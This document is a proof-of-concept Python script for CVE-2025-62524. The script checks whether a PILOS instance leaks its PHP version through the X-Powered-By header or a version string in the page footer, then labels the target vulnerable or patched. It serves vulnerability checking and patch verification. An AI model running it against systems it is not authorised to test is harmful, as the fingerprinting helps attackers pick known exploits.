CVE-2025-62524 PILOS信息泄露漏洞通过X-Powered-By头暴露PHP版本

# CVE-2025-62524 PoC - PILOS PHP Version Information Disclosure # Description: PILOS before 4.8.0 exposes PHP version via X-Powered-By header # Severity: Medium (CVSS 5.3) # Attack Type: Information Disclosure import requests import sys import re def check_pilos_version_disclosure(target_url): """ Check if PILOS instance leaks PHP version via X-Powered-By header """ print(f"[*] Checking target: {target_url}") print("-" * 60) try: # Send HTTP HEAD request to get headers without downloading full content response = requests.head(target_url, timeout=10, allow_redirects=True) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Headers:") # Check for X-Powered-By header php_version = None for header_name, header_value in response.headers.items(): print(f" {header_name}: {header_value}") if header_name.lower() == 'x-powered-by': php_version_match = re.search(r'PHP[/\s]*([\d.]+)', header_value, re.IGNORECASE) if php_version_match: php_version = php_version_match.group(1) print("-" * 60) if php_version: print(f"[!] VULNERABLE: PHP version exposed via X-Powered-By: {php_version}") print(f"[!] Attackers can use this information to identify known PHP vulnerabilities") return True else: print(f"[+] SAFE: No PHP version information leaked in headers") return False except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") return False def get_page_footer_version(target_url): """ Check if PILOS version is exposed in page footer """ try: response = requests.get(target_url, timeout=10) # Search for PILOS version pattern in page content version_match = re.search(r'PILOS\s*v?([\d.]+)', response.text, re.IGNORECASE) if version_match: print(f"[*] PILOS version detected in footer: {version_match.group(1)}") return version_match.group(1) except: pass return None if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = input("Enter PILOS target URL: ").strip() if not target.startswith(('http://', 'https://')): target = 'https://' + target vulnerable = check_pilos_version_disclosure(target) get_page_footer_version(target) print("-" * 60) if vulnerable: print("[!] Target is vulnerable to CVE-2025-62524") print("[!] Recommendation: Upgrade to PILOS >= 4.8.0 or disable X-Powered-By header") sys.exit(1) else: print("[+] Target appears to be patched") sys.exit(0)